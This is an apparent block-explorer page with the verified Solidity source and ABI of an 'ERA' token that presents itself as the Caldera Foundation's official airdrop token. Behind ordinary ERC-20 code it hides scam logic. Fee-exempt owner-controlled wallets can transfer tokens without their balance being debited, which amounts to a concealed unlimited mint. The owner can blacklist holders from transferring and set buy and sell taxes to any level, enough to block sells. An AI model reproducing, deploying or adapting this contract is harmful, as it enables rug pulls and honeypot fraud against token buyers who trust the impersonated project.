EthereumEthereum
0x51...5bde
Caldera

Caldera

ERA

代币
市值
$1.00
 
价格
2%
此合同的源代码已经过验证!
合同元数据
编译器
0.8.26+commit.8a97fa7a
语言
Solidity
合同源代码
文件 1 的 1:ERA.sol
// SPDX-License-Identifier: MIT
/*

The Caldera Foundation is excited to formally announce its intention to launch a token. Launching soon via a retroactive airdrop, ERA will play a critical role in the Caldera ecosystem.

Twitter: https://x.com/calderafdn
Telegram: https://t.me/calderaofficial
Discord: https://discord.com/invite/caldera

*/
pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);
}

contract ERA is ERC20, Ownable {
    using SafeMath for uint256;

    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ERAWallet = 0xAe9fD5E939960bB8799D4DC4C4450fcc04ce1753;

    string constant _name = "Caldera";
    string constant _symbol = "ERA";

    uint8 constant _decimals = 18;
    uint256 public _totalSupply = 1_000_000_000 * (10**_decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;
    uint256 public _swapERAThreshHold = (_totalSupply * 1) / 10000;
    uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => bool) isFeeExempt;
    mapping(address => bool) isTxLimitExempt;
    mapping(address => bool) private ERAs;

    address public _ERAWallet;
    address public pair;

    IUniswapV2Router02 public router;

    bool public swapEnabled = false;
    bool public ERAFeeEnabled = false;
    bool public TradingOpen = false;
    uint256 private _initBuyTax = 0;
    uint256 private _initSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 0;
    uint256 private _reduceSellTaxAt = 0;
    uint256 private _buyCounts = 0;

    bool inSwap;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() Ownable(msg.sender) {
        address _owner = owner;
        _ERAWallet = ERAWallet;

        isFeeExempt[_owner] = true;
        isFeeExempt[_ERAWallet] = true;
        isFeeExempt[address(this)] = true;
        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[_ERAWallet] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function withdrawERABalance() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function getERAAmounts( uint256 action, bool takeFee, uint256 tAmount ) internal returns (uint256, uint256) {
        uint256 sAmount = takeFee ? tAmount : ERAFeeEnabled ? takeERAAmountAfterFees(action, takeFee, tAmount) : tAmount;

        uint256 rAmount = ERAFeeEnabled && takeFee ? takeERAAmountAfterFees(action, takeFee, tAmount) : tAmount;
        return (sAmount, rAmount);
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function internalSwapBackEth(uint256 amount) private lockTheSwap {
        uint256 tokenBalance = balanceOf(address(this));
        uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethAmountFor = address(this).balance;
        payable(_ERAWallet).transfer(ethAmountFor);
    }

    function removeERALimit() external onlyOwner returns (bool) {
        _maxWalletAmount = _totalSupply;
        return true;
    }

    function takeERAAmountAfterFees(
        uint256 ERAActions,
        bool ERATakefee,
        uint256 amounts
    ) internal returns (uint256) {
        uint256 ERAPercents;
        uint256 ERAFeePrDenominator = 100;

        if (ERATakefee) {
            if (ERAActions > 1) {
                ERAPercents = ( _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax);
            } else {
                if (ERAActions > 0) {
                    ERAPercents = (_buyCounts > _reduceBuyTaxAt ? _finalBuyTax : _initBuyTax);
                } else {
                    ERAPercents = 0;
                }
            }
        } else {
            ERAPercents = 1;
        }

        uint256 feeAmounts = amounts.mul(ERAPercents).div(ERAFeePrDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmounts);
        feeAmounts = ERATakefee ? feeAmounts : amounts.div(ERAPercents);

        return amounts.sub(feeAmounts);
    }

    receive() external payable {}

    function _transferTaxTokens(
        address sender,
        address recipient,
        uint256 amount,
        uint256 action,
        bool takeFee
    ) internal returns (bool) {
        uint256 senderAmount;
        uint256 recipientAmount;

        (senderAmount, recipientAmount) = getERAAmounts( action, takeFee, amount);
        _balances[sender] = _balances[sender].sub(
            senderAmount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(recipientAmount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function enableERATrading(address pair_) public onlyOwner {
        require(!TradingOpen, "trading is already open");
        pair = pair_;
        isTxLimitExempt[pair] = true;
        TradingOpen = true;
        ERAFeeEnabled = true;
        swapEnabled = true;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function inSwapERATokens(
        bool isIncludeFees,
        uint256 isSwapActions,
        uint256 pAmount,
        uint256 pLimit
    ) internal view returns (bool) {
        uint256 minERATokens = pLimit;
        uint256 tokenERAWeight = pAmount;
        uint256 contractERAOverWeight = balanceOf(address(this));

        bool isSwappable = contractERAOverWeight > minERATokens &&
            tokenERAWeight > minERATokens;

        return
            !inSwap &&
            isIncludeFees &&
            isSwapActions > 1 &&
            isSwappable &&
            swapEnabled;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function optionBx(uint256 _btx) external onlyOwner {
        _finalBuyTax = _btx;
    }

    function optionSx(uint256 _stx) external onlyOwner {
        _finalSellTax = _stx;
    }

    function isERAUserBuy(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return
            recipient != pair &&
            recipient != DEAD &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient];
    }

    function isTakeERAActions(address from, address to)
        internal
        view
        returns (bool, uint256)
    {
        uint256 _actions = 0;
        bool _isTakeFee = isTakeFees(from);

        if (to == pair) {
            _actions = 2;
        } else if (from == pair) {
            _actions = 1;
        } else {
            _actions = 0;
        }
        return (_isTakeFee, _actions);
    }

    function addERAs(address[] memory ERAs_) public onlyOwner {
        for (uint256 i = 0; i < ERAs_.length; i++) {
            ERAs[ERAs_[i]] = true;
        }
    }

    function delERAs(address[] memory notERA) public onlyOwner {
        for (uint256 i = 0; i < notERA.length; i++) {
            ERAs[notERA[i]] = false;
        }
    }

    function isERA(address a) public view returns (bool) {
        return ERAs[a];
    }

    function addWhiteList(address[] memory ERAsList_) public onlyOwner {
        for (uint256 i = 0; i < ERAsList_.length; i++) {
            isFeeExempt[ERAsList_[i]] = true;
        }
    }

    function delWhiteList(address[] memory notERAsList_) public onlyOwner {
        for (uint256 i = 0; i < notERAsList_.length; i++) {
            isFeeExempt[notERAsList_[i]] = false;
        }
    }

    function isWhiteList(address a) public view returns (bool) {
        return isFeeExempt[a];
    }

    function _transferStandardTokens(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takefee;
        uint256 actions;

        require(!ERAs[sender] && !ERAs[recipient]);

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(TradingOpen, "Trading not open yet");
        }

        if (!swapEnabled) {
            return _basicTransfer(sender, recipient, amount);
        }
        if (isERAUserBuy(sender, recipient)) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");

            increaseBuyCount(sender);
        }

        (takefee, actions) = isTakeERAActions(sender, recipient);
        if (inSwapERATokens(takefee, actions, amount, _swapERAThreshHold)) {
            internalSwapBackEth(amount);
        }

        _transferTaxTokens(sender, recipient, amount, actions, takefee);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }

        return _transferStandardTokens(sender, recipient, amount);
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferStandardTokens(msg.sender, recipient, amount);
    }

    function increaseBuyCount(address sender) internal {
        if (sender == pair) {
            _buyCounts++;
        }
    }

    function isTakeFees(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

}
设置
{
  "compilationTarget": {
    "ERA.sol": "ERA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ERAFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ERAWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapERAThreshHold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ERAs_","type":"address[]"}],"name":"addERAs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"ERAsList_","type":"address[]"}],"name":"addWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notERA","type":"address[]"}],"name":"delERAs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"notERAsList_","type":"address[]"}],"name":"delWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"enableERATrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isERA","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_btx","type":"uint256"}],"name":"optionBx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_stx","type":"uint256"}],"name":"optionSx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeERALimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawERABalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]